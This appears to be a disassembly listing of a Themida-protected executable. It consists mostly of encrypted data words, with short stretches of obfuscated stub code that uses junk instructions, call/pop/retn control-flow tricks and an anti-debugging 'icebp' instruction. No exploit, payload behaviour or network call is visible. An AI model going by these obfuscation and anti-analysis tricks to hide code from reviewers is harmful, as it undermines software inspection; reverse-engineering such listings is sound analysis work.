dd 77E55148h, 706BEEBAh, 7002FF63h, 2A218B31h, 24889FF2h
dd 3480E615h, 70167515h, 2243B831h, 34D6C1F2h, 0A88D48A4h
dd 9856175Bh, 70018B32h, 2FC29A11h, 74259EB8h, 742535B0h
dd 7001B82Bh, 14C20B76h, 8F40AA2Bh, 0ED8850AAh, 77E589E8h
dd 0F40EC199h, 7001E1B7h, 6D50E4BAh, 0CD82BFD5h, 77E5521Ch
dd 23852131h, 1A011731h, 73E9DC31h, 5001C531h, 0F95E216Eh
dd 0F105554Dh, 6B059C75h, 37015C31h, 213FED66h, 78AAC75Eh
dd 0E522D439h, 77E5CFB4h, 7002A7D8h, 25011B31h, 7001BBD9h
dd 0B35C7C31h, 546DA76Ch, 54459635h, 70019635h, 0B3548031h
dd 726CC45Ah, 723EB7Ch, 70BF4917h, 0FB035C16h, 941B33ACh
dd 60849A36h, 1A066CFDh, 73E99731h, 5001E231h, 0F95BB26Bh
dd 0F1059C65h, 65057875h, 32012E31h, 0F4ABD463h, 68F016B8h
dd 8FF9C2D5h, 0F5FF69E1h, 0C2857EF1h, 1A01B831h, 73E90A31h
dd 50012E31h, 0F95FD46Fh, 0F105AF45h, 6705E175h, 3601E231h
dd 3FE8B267h, 9F80A826h, 42D2728Fh, 0F1D0913Eh, 0F1674009h
dd 478484CAh, 1A01C531h, 73E9B031h, 50017131h, 0F95B7B6Bh
dd 0F1057865h, 65050A75h, 32011731h, 2A9F4863h, 52205812h
dd 0F167E5D5h, 72037549h, 72C13C3Eh, 0F70E5C31h, 70012E33h
dd 0F167E2BBh, 7F611709h, 7001F9B4h, 768EED31h, 0F9017131h
dd 9405B5ACh, 7279DC36h, 568421D9h, 16011731h, 0F16775BAh
dd 0DB01C349h, 7016673Eh, 0C5887131h, 77E5A6F8h, 700321D8h
dd 76882131h, 0F9011731h, 940BA6A4h, 71017B36h, 706BA430h
dd 70029964h, 2D21B831h, 1C8801F2h, 34802A15h, 701D1315h
dd 25448B31h, 29FACBF2h, 8D80C95Ch, 62E8688Ah, 6F01B831h
dd 0E03F920Ch, 44302F88h, 0D61FE600h, 91C56219h, 459C4C4Ch
dd 0FD06063Bh, 97CD61B4h, 0B58C3336h, 8F06B826h, 210144E1h
dd 700114D9h, 0B358AB31h, 544D4C68h, 54456335h, 70016635h
dd 0B350F931h, 48ECE12Bh, 0E386CCB0h, 23B20D44h, 0F40E4BB4h
dd 7001C49Bh, 9851E25Bh, 70017132h, 28C2E011h, 742518B8h
dd 74256AB0h, 7001172Ah, 19C2DB71h, 16C2A7Ch, 71300381h
dd 9412D884h, 16393936h, 7F035E0Ch, 700167B4h, 21017D31h
dd 700188D9h, 0B358E531h, 544D6B68h, 5445F035h, 7001A235h
dd 0B3501D31h, 98639AFAh, 981D0B7Eh, 70018B3Ah, 0CFDD8336h
dd 0DE233965h, 7F8C1918h, 0F15A698Eh, 4D675A49h, 0F40E546Eh
dd 70011647h, 6268363Ah, 0F167C2D5h, 7F617E09h, 700159B4h
dd 8814431h, 0F50EB433h, 70012E2Ch, 16D0A83Eh, 7007F3B0h
dd 7E84CAF1h, 0F901E231h, 941290A4h, 71415136h, 0B2815C31h
dd 7101908Ch, 0AF816930h, 60840626h, 7F0622FDh, 7001E7B5h
dd 0DEAAC831h, 0A0FE8DE8h, 5EA8C900h, 0B08429D5h, 70D1933Eh
dd 0FE0E8B31h, 7001C537h, 563877BAh, 488176D5h, 3384B7D9h
dd 0F1015C31h, 4325D4E2h, 75799757h, 43848442h, 1A01C531h
dd 73E9B331h, 50017131h, 0F9587B68h, 0F105787Dh, 6B050A75h
dd 31011731h, 0F1284860h, 0F461B062h, 881F566h, 0F40E2236h
dd 7001B8F3h, 73E8C912h, 0F16729D5h, 7F049809h, 7001E6B4h
dd 2101AF31h, 7001E1D9h, 0B3585131h, 544D3168h, 5445DD35h
dd 70013835h, 0B3505631h, 7F59FE0Ah, 8810F8Eh, 0F50E8A37h
dd 70017173h, 5B7C35BAh, 0F1675BD5h, 55FE2549h, 7031923Eh
dd 706B8B31h, 70022D61h, 2821E231h, 348829F2h, 3480BC15h
dd 701D5815h, 20412E31h, 404E7F2h, 0D264D06Dh, 0CF0E1FA6h
dd 70490BE9h, 0C9677131h, 0B02AD476h, 0C817EF51h, 234AEEC8h
dd 7046FE50h, 706B8B31h, 70022D66h, 2F21E231h, 0C882EF2h
dd 3480BC15h, 70185815h, 27462E31h, 0CC1C7EF2h, 105E0978h
dd 77AC70BAh, 0F167E5D5h, 11A1E0FBh
dd 52980DB8h, 71B95BD5h, 7F012E31h, 70011FB3h, 728F8431h
dd 0FA01C531h, 7F6172C4h, 700171B3h, 0E051D931h, 98505C5Bh
dd 70012E32h, 29C24E11h, 7425C7B8h, 742581B0h, 7001E22Ah
dd 44C22070h, 3AB9B1DCh, 85139D9Fh, 0F41B93BCh, 0FD8C10D8h
dd 77E80224h, 1654E689h, 0D184E146h, 5B06952Fh, 710190FEh
dd 0AF816930h, 60840626h, 7F0622FDh, 7001E7B5h, 0DEAAC831h
dd 0A0FE8DE8h, 0F305E983h, 0BD8958A4h, 7E42EE1h, 60CA8B66h
dd 0C59D8B56h, 5B07E405h, 61C6BF0Fh, 840FC00Bh, 7Bh, 14E8h
dd 872E7900h, 0C02062FCh, 5CD8DF1Ch, 929218DFh, 0D7E19ED4h
dd 0F99589B8h, 5F07E41Dh, 4FE7B58Dh, 6A07E4h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 0BEBB98C3h
dd 0B340BC64h, 3B8DDh, 0CE90000h, 0F1000000h, 0F81E2B24h
dd 61E6B0E0h, 0E93F103Dh, 0Fh, 0BBF590Dh, 0EF26CDBFh, 81146E4Ch
dd 0FF208290h, 58D8BE6h, 4007E42Bh, 6CA6C381h, 0C08B3322h
dd 83CF8B66h, 0E413F1BDh, 9750007h, 935BD83h, 740007E4h
dd 8B535019h, 403B8C0h, 85890000h, 7E40EEDh, 0EA579D8Dh
dd 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50177400h, 403B853h
dd 85890000h, 7E40EEDh, 0E6F89D8Dh, 0D3FF07E6h, 890F585Bh
dd 6, 20358D89h, 6A07E4h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 3A15C0C3h, 0F666CD7Fh
dd 8B665221h, 0C08B5BFBh, 0BF0F5F52h, 12E861CFh, 5C000000h
dd 3E5C69F2h, 0EF8B8016h, 0B3E47FDBh, 2FD0B3h, 9E99Bh
dd 9CF50000h, 70FB772Dh, 5BCCE960h, 81C3BF0Fh, 635EC3h
dd 0F78B6600h, 88BE32B9h, 81E98165h, 666588A5h, 33FFC18Bh
dd 5AD48FB8h, 9D895A1Fh, 7E42DFDh, 5F0AF281h, 8A0F55C2h
dd 7, 36B8BF56h, 81584C4Dh, 0DBFDEAEAh, 10E96Eh, 0D1060000h
dd 4C20BEF1h, 0BED4F249h, 0AC19E3ADh, 0EA81980Fh, 336CAD1Ah
dd 5AEDBE66h, 0EB831389h, 5DB58B01h, 4B07E430h, 0E9834B4Bh
dd 0A3850F01h, 23FFFFFFh, 0E42A2DB5h
db 7
byte_5DAF8D db 0E8h, 0Fh, 0 ; DATA XREF: Themida_:00585288o
dd 0B19F0000h, 0AB30DDBBh, 0F8DE3428h, 6D46C620h, 0FD9D8B22h
dd 5E07E40Dh, 0C681D68Bh, 6343h, 0ABB8D58Ah, 0E9000018h
dd 12h, 9ED98809h, 0E2D7FB2Ch, 0A3E26888h, 0D744890Fh
dd 36FF57E5h, 0EF18589h, 0F5F07E4h, 0C781D0B7h, 7F481B8Ch
dd 0C78107B1h, 0B8F7F22h, 0EF81CF8Bh, 2786B6E9h, 12E8h
db 0
byte_5DAFF5 db 0Dh, 72h, 21h ; DATA XREF: Themida_:005825B0o
dd 0F2D6DA28h, 0EA53200Bh, 1BA9B049h, 0B1030C6Bh, 3E895BEDh
dd 85A7C981h, 0EE834CF8h, 1DB96603h, 8D8B4EAAh, 7E40279h
dd 0F01E883h, 0FFFFA585h, 96BA66FFh, 24786CB6h, 2411EE57h
dd 7A320301h, 509BDFC2h, 6093C425h, 240E6425h, 72543001h
dd 82EB9CC2h, 0FF760540h, 0B99B4CD3h, 23F60224h, 0CCCA0D67h
dd 2412C012h, 7E6377E7h, 5D824E27h, 0C0DE63E8h, 0A5E0482Fh
dd 0AF88D3C7h, 0C031D29Ch, 20BADE06h, 263C440Eh, 24786001h
dd 2411D854h, 79321801h, 489B51C2h, 60930225h, 240A0725h
dd 71578101h, 0A4AE1EC2h, 0C6928530h, 9AFB3C6h, 2415FC0Fh
dd 2436880Eh, 0B9990601h, 23F6005Ch, 1B148Ah, 0C9FBC7E5h
dd 0CD126000h, 2412300Fh, 0CFB5C710h, 773D756Fh, 98CEE4Ah
dd 73421810h, 0CF523F67h, 16495Bh, 0F7F588h, 251D37E5h
dd 2DEC3C4Dh, 0C00F418Ch, 24785E06h, 2411EB56h, 7B328101h
dd 589B9FC2h, 60936425h, 24053425h, 73551801h, 92D103C2h
dd 0E491FE3Ch, 7212692Dh, 241282E9h, 0E74CE001h, 66E95Fh
dd 56B105h, 24120C05h, 0E7444A01h, 0AF1A8D2Bh, 6C9965D6h
dd 7512EBFDh, 2412C3E9h, 0E74B4001h, 5EB958h, 569905h
dd 24121705h, 0E7434701h, 0B248C227h, 4D8A50Bh, 2412CAE9h
dd 6F659D01h, 505C305Dh, 0AF3D198Eh, 0C03E3D94h, 0A5745D06h
dd 2BED3538h, 24125685h, 7612AA01h, 241263E9h, 0E7481001h
dd 46915Bh, 568D05h, 24121E05h, 0E7404101h, 13550FADh
dd 2297CF4Dh, 2D126001h, 0C00D9994h, 2DD39B06h, 241209E8h
dd 79DE6401h, 1D92B95Bh, 0D5978EE8h, 4E12C001h, 27FA3201h
dd 4123001h, 0AD48DB5Bh, 0A5162855h, 38162245h, 66120301h
dd 0FCFB4253h, 7725B4B7h, 0AF68CF52h, 0A81D3140h, 24121801h
dd 0F9C5E380h, 0EC111269h, 0CC41036Bh, 24128102h, 7FD19B21h
dd 20363C88h, 20367480h, 24121815h, 60D15F42h, 24CF8388h
dd 0E59104E5h, 7212EB04h, 2412C3E9h, 0E74C4001h, 66B95Fh
dd 569905h, 24121405h, 0E7444001h, 0C9EC4C5Bh, 0F599E73Ah
dd 6F82F980h, 0A11DEB42h, 24123069h, 5A0CEF80h, 913B3491h
dd 23F62A24h, 6BF58E8Ch, 0B12386E5h, 23F6D5D8h, 241263B9h
dd 77125A01h, 24121BE9h, 0E7492C01h, 4E8F5Ah, 568205h
dd 24129605h, 0E7418301h, 0B348D878h, 2414BF0Eh, 0A93B1801h
dd 23F610FCh, 241209E9h, 0F1FEA501h, 0A50DE0F9h, 0ABF88168h
dd 0D8DD4A26h, 7BE5BB67h, 919BF9FEh, 23F612FCh, 241FEE60h
dd 0DE120301h, 3DA258C3h, 9AB2DE22h, 939C9140h, 999F6AD0h
dd 23FB93A3h, 0AA45818Ch, 50AA01E8h, 17139182h, 0C0208084h
dd 0E5DDEB06h, 24786CE8h, 2411EE57h, 7A320301h, 509BDFC2h
dd 6093C425h, 240E6425h, 0E9833001h, 8BA4F305h, 895053C0h
dd 0E420AD8Dh, 6A5A5B07h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 3B97C350h, 5A51111Ah
dd 1D198D29h, 0C38B07E4h, 8F698D8Dh, 8B6607E9h, 718D89DAh
dd 3107E41Bh, 0E405F985h, 0A185C707h, 2407E42Dh, 6A000064h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 0C663C351h, 699D8BD7h, 2307E41Bh, 0E42571BDh
dd 0B985C707h, 7E422h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 5322C353h
dd 0F6AC66Ch, 682h, 71B58B00h, 0FF07E403h, 0E41E15B5h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 601A085Dh, 8BF564F3h, 0E41F0995h, 6195FF07h
dd 0B07E430h, 0E431CDBDh, 0FF006A07h, 0E40E4195h, 0EBC08B07h
dd 43A70779h, 0DDF04C19h, 60D167h, 5EFA64A2h, 9068D610h
dd 5501F5A3h, 0EE8DBEAh, 248726B5h, 83019BF1h, 4AC79DABh
dd 648DF453h, 42D090DFh, 0F92C04F9h, 0D3CE78BEh, 0DE486089h
dd 661A5E24h, 0D5071B85h, 170AFBA1h, 390ADD25h, 0E52BE12Ah
dd 86E82363h, 7C2D4B36h, 0E0055411h, 0F6997C7h, 0B7F887Fh
dd 721E65FFh, 0FEFB7514h, 7107B7E1h, 0C775B8AAh, 0A6979ED2h
dd 9D8D8DC7h, 7E407B9h, 0CEB8h, 39858900h, 0E807E40Bh
dd 0
; ---------------------------------------------------------------------------
pop eax
add eax, 0Dh
mov [ebx], eax
jmp loc_5DB563
; ---------------------------------------------------------------------------
byte_5DB495 db 2 dup(0), 0F2h ; DATA XREF: Themida_:00582C44o
dd 32h dup(0F2000076h)
db 76h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5DB563: ; CODE XREF: Themida_:005DB490j
; Themida_:005DB5DCj
lea ecx, [ebp+7E991BFh]
jmp loc_5DB581
; ---------------------------------------------------------------------------
mov ecx, 0D3E866C7h
and ebx, eax
mov al, ds:0BCC825A8h
retf 2848h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
dw 0C3Ch
db 82h
; ---------------------------------------------------------------------------
loc_5DB581: ; CODE XREF: Themida_:005DB569j
mov dh, 6Bh
mov [ebp+7E41B71h], ecx
mov edi, [ebp+7E4089Dh]
mov dword ptr [ebp+7E42DA1h], 5810h
sub bh, 0D7h
mov dword ptr [ebp+7E422B9h], 0
push 0
push edi
call sub_5DB5B1
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DB5B1 proc near ; CODE XREF: Themida_:005DB5A9p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5DB5B1 endp
; ---------------------------------------------------------------------------
jle short loc_5DB5D8
enter 188Ch, 0B9h
jmp near ptr loc_5DB5DC+1
; ---------------------------------------------------------------------------
dd 79F50B0Dh, 7B73B324h, 0A1A0A75Eh
; ---------------------------------------------------------------------------
loc_5DB5D8: ; CODE XREF: Themida_:005DB5C1j
fdivr dword ptr [esi+52h]
popa
loc_5DB5DC: ; CODE XREF: Themida_:005DB5C7j
jno short near ptr loc_5DB563+4
mov ch, 91h
xor esp, esp
pop es
pusha
xor [ebp+7E408A1h], edx
cld
popa
push dword ptr [ebp+7E40635h]
push 0
push eax
call sub_5DB5FD
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DB5FD proc near ; CODE XREF: Themida_:005DB5F5p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5DB5FD endp
; ---------------------------------------------------------------------------
or eax, 8589ADEFh
icebp
adc al, 0E4h
pop es
call dword ptr [ebp+7E43061h]
push 0
push ebp
call sub_5DB627
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DB627 proc near ; CODE XREF: Themida_:005DB61Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5DB627 endp
; ---------------------------------------------------------------------------
db 0F0h
dd 130CDBCEh, 0C5858B39h, 6A07E41Ch, 4195FF00h, 8B07E40Eh
dd 828EBC0h, 0EB5660Ah, 394770F8h, 60413F4Dh, 0B0F1EB90h
dd 1792E761h, 0F0172F7Dh, 68F091BEh, 74699AFAh, 0F11B980h
dd 0E90C8437h, 99h, 5346B52Eh, 646E6957h, 2073776Fh, 43205058h
dd 6B636568h, 42206465h, 646C6975h, 766E4520h, 6E6F7269h
dd 746E656Dh, 70202D20h, 206C7265h, 74736574h, 6C702Eh
dd 18h dup(0)
dd 100CE900h, 42680000h, 0E907E994h, 0FFFBCC21h, 0E9955968h
dd 0CC17E907h, 4D68FFFBh, 0E907E997h, 0FFFBCC0Dh, 0E9978C68h
dd 0CC03E907h, 6068FFFBh, 0E907E998h, 0FFFBCBF9h, 0E998FC68h
dd 0CBEFE907h, 2368FFFBh, 0E907E99Dh, 0FFFBCBE5h, 0E99FE368h
dd 0CBDBE907h, 1768FFFBh, 0E907E9A1h, 0FFFBCBD1h, 8DC098C2h
dd 4275E178h, 0F225272Dh, 0A6D97BDDh, 5588C291h, 0A0B3BA21h
dd 0F56277AAh, 41152A5Dh, 8EC7DC0Fh, 0BE288DC0h, 0FF20ABDBh
dd 0FBFCB023h, 8ED27CD9h, 6194BA9Bh, 0FB4F04EBh, 0A8BECAh
dd 68B2FB57h, 0F9A34285h, 9DB86523h, 0D11A6DB1h, 0A16A9E8Dh
dd 6CED23F9h, 0A1D606E9h, 0C6D323F9h, 981B397Dh, 0C5E9EE13h
dd 3D17412Ah, 0FB54EFF9h, 58F78A8Eh, 5E0D5C0Ch, 0B8EF015Ah
dd 351F3952h, 0E7D9B721h, 0F9FED404h, 83CCD923h, 20B252h
dd 0E6B10000h, 9B7EC8C0h, 23F9979Ch, 3F2E727Fh, 23F9980Bh
dd 0F36FE073h, 5A5EAABBh, 0F3C0h, 7CD9BF00h, 533A8ED2h
dd 0A5ADAA00h, 41122B5Ch, 0B14F803Eh, 9599ADA7h, 7CDDC617h
dd 0FA4396DAh, 0BC92C3B6h, 173D2478h, 6D9EF135h, 694C0154h
dd 1C15B039h, 17402936h, 5BA4F73Bh, 72E2C911h, 5E4396DAh
dd 1C15B02Eh, 0A3A1D2Bh, 0F1C15B0h, 2588B902h, 15B4AF14h
dd 17371E1Ch, 0C886CFE4h, 0F1BF977Eh, 52A5E963h, 4172C509h
dd 0C9C1E7CDh, 0C7E19C7Fh, 0D1E323F9h, 3015FA3Fh, 99306187h
dd 3F51598Ch, 0C206E933h, 0E72BE121h, 0EC351D3Ah, 0B298BBA2h
dd 3522097Fh, 80D3EC1Dh, 9D44D8CAh, 2C50C2A6h, 0DBB2Fh
dd 193F1B00h, 0CE88D1E6h, 7ECE869Bh, 3222364Bh, 0E169EAFFh
dd 0C517AAEh, 0BBD00347h, 6E83B69Ch, 203568E8h, 81E61935h
dd 23043417h, 550923FFh, 0D07AD954h, 0FF573E86h, 0D5BA0D51h
dd 1C158EA5h, 0A1B49DAAh, 4197CADh, 4FCAFD51h, 7EC8C0E6h
dd 5094C297h, 6F52CCFDh, 23F99870h, 0EDD41E2Bh, 51A4E86Ah
dd 89BDAC20h, 0C23F997h, 0CFC2064Ah, 77E0C987h, 1D6297DBh
dd 7D515532h, 6192C296h, 72592728h, 0A03869E1h, 5A5EAAC8h
dd 0C76Fh, 7CD96E00h, 0B89B8ED2h, 8E7EAE91h, 0CE7B1C15h
dd 367FC888h, 9EB79EF2h, 0DC796CB0h, 92DB2E72h, 93E74C61h
dd 6FE61C15h, 0BE97ACDFh, 40664C90h, 0EECFE48h, 4DF884D6h
dd 2C75DF79h, 0E39E81FBh, 0E523FA88h, 0B2F656FEh, 8A972E5Fh
dd 31394F57h, 67AF04E7h, 53002BE1h, 0B3064A00h, 83C78FCAh
dd 0B69DE730h, 99C9AC9Dh, 961C17A2h, 970D4089h, 4C0CA8B0h
dd 2871C408h, 0D575DEF7h, 0A6C92FE3h, 322F53C2h, 0CA4h
dd 0FD302832h, 0B2E571E8h, 6295B79Dh, 16490B4Dh, 0C5F85201h
dd 30232A91h, 85D2E71Ah, 0D1859ACDh, 1E374C7Fh, 2E98FD30h
dd 0FF241B4Bh, 6B6C2023h, 9DD07AD9h, 3D194027h, 5C75A6F9h
dd 0A72255F9h, 8ED27CD9h, 6194BA9Bh, 0F13B3759h, 4E7E61A9h
dd 4B1C158Fh, 39FDD373h, 0BC05AD54h, 129F768Bh, 0FF0C23FAh
dd 1198CCBBh, 6D0023FAh, 20D686E2h, 7555A5Eh, 54000000h
dd 8DFCFh, 0C0E6D400h, 53367EC8h, 1C158F23h, 0BD685028h
dd 0F940585Eh, 22057FB0h, 23FA1117h, 0CEFEE129h, 0CB23F9FEh
dd 1EF68DBEh, 0FF00B58Ah, 1E3720E3h, 0B69DE730h, 0A4610A0h
dd 0F92A73C6h, 0C0C39285h, 149DD4B7h, 0C9FC45A2h, 69ADA1B4h
dd 5E292E15h, 84235D2Dh, 5B8CD537h, 3DCA3C46h, 0A0E96F8Bh
dd 5847F1C1h, 6CB0F986h, 2C70DA79h, 0CDBA9514h, 46A3AC53h
dd 0ADF53F0Fh, 0B63D9ACAh, 61F29F7Ch, 0C6FA0E9h, 0ACF05EF7h
dd 0B63D8ABDh, 3143C97Ch, 0BFBF8BC9h, 0D714957Ch, 2DD83145h
dd 400F4879h, 699CB2A3h, 94D0154h, 0B591E31Ah, 0A8A71C7Ch
dd 0EA341A3Bh, 0BBFF5503h, 5ED43768h, 4374E277h, 0D1832B2Ah
dd 8BD47ADBh, 0F618FE42h, 8168B0FAh, 0D476DDD7h, 0B0F43D90h
dd 0C9CE4392h, 7CC58A14h, 4CCF364Bh, 0AFBCC359h, 1BD8D07Ch
dd 0A1B3FDF5h, 0E920DAAAh, 86CE8A05h, 75A6EF42h, 0E91118FBh
dd 91BBCB4h, 11506EFAh, 0FA91C2EFh, 98BCA3EDh, 0D4A0D0B3h
dd 909DBB74h, 0E5701647h, 9985B5A4h, 2670788Eh, 0A76B2114h
dd 7FB0206Fh, 0B7772205h, 0BF6C6548h, 2377BB99h, 0C0A51040h
dd 0B7000D62h, 22442A6Eh, 6CF9DC26h, 406AA855h, 9DCDB0F8h
dd 0A25D6234h, 3480B095h, 5DFB5D62h, 0F960B3F7h, 1724BBECh
dd 0DF6FE6CDh, 90BE97ACh, 5C378A9Eh, 0D5D2F681h, 0AB0h
dd 0F1243426h, 0A6D97DDCh, 5689C391h, 0A3D1741h, 0B9EC5EF5h
dd 3C172685h, 91C6DB0Eh, 0DD798EC1h, 2A2B4073h, 228CF124h
dd 0FF260F3Fh, 57580C23h, 0E0D27CD9h, 0C2A8DCDEh, 71252246h
dd 6500000Ah, 1B3063F5h, 0D0E5183Eh, 8095C884h, 34497CD8h
dd 0C4F82B1Fh, 4DFD56E7h, 52051Ah, 0B29EB8CDh, 63EB6A7Fh
dd 7E61CB30h, 23FF264Eh, 0D996974Bh, 9B8ED27Ch, 364892B8h
dd 90E9C9E3h, 0AD10419Dh, 3A4C0901h, 0B59CE42Eh, 6A7FB0A2h
dd 23FA6F63h, 1AA51B28h, 0E5B780ABh, 0DE6EE6CDh, 838FA1ADh
dd 4F075239h, 0D87B80Bh, 536D7F2Ah, 7659A1EAh, 0DDD36B46h
dd 6E053643h, 11371D61h, 7587CF19h, 32268895h, 0BDE10E22h
dd 0D505E832h, 0DADDD2B8h, 0FA879CCDh, 0D2E5BA69h, 0A0E46AEBh
dd 78851C4Dh, 0CDD4E62Eh, 0C5B4C380h, 0CAA7449Ah, 0EA33AE62h
dd 0F9B5A0B9h, 63ADF660h, 4677DB7Ch, 0D0866DE3h, 0B8E93C80h
dd 0A698B69Fh, 0FC4ED50Eh, 9DC9C6EAh, 39000009h, 0EF043721h
dd 0A4B9EC6Ah, 54699CB0h, 81D5004h, 98CCFF4Bh, 21292A33h
dd 0D47ED9EEh, 86CA8CA1h, 37173E53h, 52359F04h, 23FF2722h
dd 0D9727327h, 9B8ED27Ch, 0EF61F5BBh, 0DC0F58ABh, 97965466h
dd 0E783B67Ch, 0BBD1A1B6h, 37591C15h, 0AE91B89Bh, 1C15BB7Eh
dd 0E1256E7Bh, 0BB7AAA8Dh, 727F1C15h, 0B396E029h, 23FF4D74h
dd 64E66D54h, 458F9C33h, 1CDCEBFDh, 93CDC2B2h, 420C4962h
dd 0F35BFA0Fh, 0B397BCAFh, 7DD58269h, 41B5E639h, 5648084Eh
dd 0BABEF874h, 16F6C90h, 0D5000009h, 8BA0D385h, 405588CEh
dd 0F0053814h, 0A4B9EC68h, 34689BAFh, 0BD8DC697h, 70E2758Ah
dd 222E283Dh, 0D37BDAEFh, 0EED13BA0h, 23FF26BEh, 780607BBh
dd 5788C291h, 0F337173Eh, 0B09CB89Fh, 5FEF667Fh, 202D281Bh
dd 158F0D3Dh, 0BC05121Ch, 7FD18578h, 0ABA4233Bh, 0E16EB3DEh
dd 45325104h, 25D94BB0h, 91D57DDAh, 62ACF53Eh, 7CF09650h
dd 79AA6F69h, 0E52A8216h, 3D515DBAh, 50000005h, 7EC8C0E6h
dd 0FF205C9Bh, 4E313F23h, 23FF201Eh, 3F49C96Eh, 0E2493488h
dd 0FA428CD5h, 0CC104613h, 262F4879h, 987FF528h, 0ED65F2BEh
dd 0DC0D56A9h, 6BAFB3D0h, 6B18977Ch, 67E87B9Dh, 0BEEED119h
dd 0BB9A9AFFh, 0FF9ACAADh, 929F9A9Ah, 28801849h, 4F233FEEh
dd 57h, 0F8280B53h, 0F59A9B07h, 0E638B7E8h, 337BC5CDh
dd 8ED808EBh, 5531C15h, 0AADBE84Fh, 158E6595h, 195D6A1Ch
dd 7CF13A2Ah, 400FA23Ch, 54FA5B42h, 0FDD38B23h, 6C7E7DDDh
dd 0CF19F5B3h, 3FDF10FAh, 13h, 21ECF3Eh, 0F2D90000h, 163D2366h
dd 0C7119693h, 78CE4D7Eh, 5889C391h, 0E72B374Ch, 81FB13F8h
dd 575FFA95h, 0C5095200h, 89CD85D2h, 94F15E05h, 3452FD90h
dd 145074Dh, 0FA9ACAADh, 929F9581h, 28801849h, 7524D6CFh
dd 468ACA8Eh, 74B0153h, 3E216BB4h, 9581EF0Eh, 2DCDFE0Bh
dd 20h, 0C4CDE62Ch, 158EB1E1h, 58A1AE1Ch, 0FB212514h, 0D6699581h
dd 0F3BDED79h, 6ABA24D6h, 0B9000000h, 7BC5CDE6h, 0D808EB33h
dd 0D51C158Eh, 0D775DFC8h, 8E6191A6h, 515E1C15h, 1C382007h
dd 65485D8h, 0FE6A619Ch, 3224351Ch, 0DB87C801h, 5DBADC83h
dd 34A8h, 0CDE6A700h, 4C337BC5h, 15460Ah, 1C158ED2h, 0C3A7BECBh
dd 9DB28BC9h, 0BA9F99D1h, 139E5Dh, 789D0000h, 5C8DC791h
dd 14339h, 0FD5C4300h, 91C21559h, 0F1CF12h, 78D40000h
dd 8F1D4D30h, 15221C15h, 17BBD8E4h, 0D9CC103Eh, 3D90D47Eh
dd 7867ABF4h, 7165D29Fh, 0F36FE073h, 8EADCBBh, 0A8C0h
dd 0CDE6BF00h, 8EB1E1C4h, 0A1AE1C15h, 0FB2B0E58h, 1C158Eh
dd 7E61A9F3h, 1C158F4Eh, 990D3E4Bh, 35BB96AAh, 0D57FD93Ch
dd 97B79E91h, 2728CF53h, 7082565Ah, 61E4C26Eh, 0C80132C1h
dd 0C883DB87h, 4FA87D9Ah, 0A7000000h, 7BC5CDE6h, 44084C33h
dd 99C9AC00h, 961C158Eh, 0FA0F4089h, 1C158ECAh, 2A7EC2CFh
dd 0FC401643h, 4F6378A9h, 0B78935BCh, 765D2B24h, 0D82B6FDFh
dd 0BB7BAB8Eh, 73808935h, 0B2F2AA42h, 579F309Ah, 35B44474h
dd 0B3C4989h, 146Bh, 91786A00h, 75A588C3h, 7A1C158Eh, 0D0F3246Dh
dd 64h, 0C39178D5h, 9BB7A089h, 4A04516Ah, 8CCBB206h, 4D8095C6h
dd 911C158Fh, 79DC0946h, 0E627A2D5h, 0CAAEC5CDh, 46044F8Dh
dd 7450F02h, 0B7983FC3h, 0BF9069CAh, 159C3026h, 7371A1Ch
dd 41C159Ch, 0FCB392Ch, 6BB40B63h, 0BFE3BA22h, 0DC865DBAh
dd 85FFFFFEh, 1D4D3078h, 221C158Fh, 7DC1E415h, 0C6000002h
dd 8ED27CD9h, 6194BA9Bh, 0F13B3759h, 42BB4CDFh, 851E520h
dd 5AD4054Eh, 23292B12h, 6E9ADDF2h, 50FD23FAh, 0B4FE4703h
dd 1141246Ch, 0E23FA6Eh, 6DEC1C01h, 44F123FAh, 0C1F23B0Fh
dd 6E2A5E4Dh, 0A7AD23FAh, 0B9FD4F05h, 0E6D91D66h, 849CE070h
dd 393D4A05h, 0EDBDA9A6h, 8A5A5E40h, 29h, 0C8C0E689h, 979C9B7Eh
dd 727F23F9h, 78C8DA2Eh, 0B8414EA9h, 98CCE112h, 23F9A5h
dd 0D686E26Dh, 555A5EB4h, 0A5h, 0C8917854h, 0C6F74A8Eh
dd 62A6A8ADh, 1C66E46Fh, 0EA2E2035h, 0AFF361F7h, 6EE2135Ch
dd 2A74DA7Bh, 0E8476218h, 0E3147243h, 74D97C6Fh, 166A6191h
dd 8515E1Ch, 6F5FC4D5h, 87CE1C16h, 7A8C94C7h, 6A41246Eh
dd 4523FD4Eh, 4C07EE38h, 6E55CBFEh, 1E3768E8h, 9D231535h
dd 0E1BAC29Dh, 4DAC0BDh, 5EFC0000h, 0A7B2C7FAh, 0ED677CAFh
dd 41172C5Fh, 88CBE013h, 705B8FC2h, 0B1E466EDh, 6497BB9Ch
dd 1649074Fh, 0C7FA5401h, 0E515F862h, 0EA23FF2Bh, 7AD93536h
dd 0B79F86D0h, 0B2F660F9h, 82E5165Fh, 3366E86Dh, 0D27CD9B8h
dd 93BA9B8Eh, 158E80B0h, 27707D1Ch, 197CBDDh, 8B9FABA8h
dd 2E5F6B3Eh, 0A5ADC3CBh, 0EC11785Bh, 717E23F9h, 0EB0C3E2Dh
dd 0CA8F23F9h, 355488Ch, 0E2890D51h, 0B0F5206Dh, 86CFE19Fh
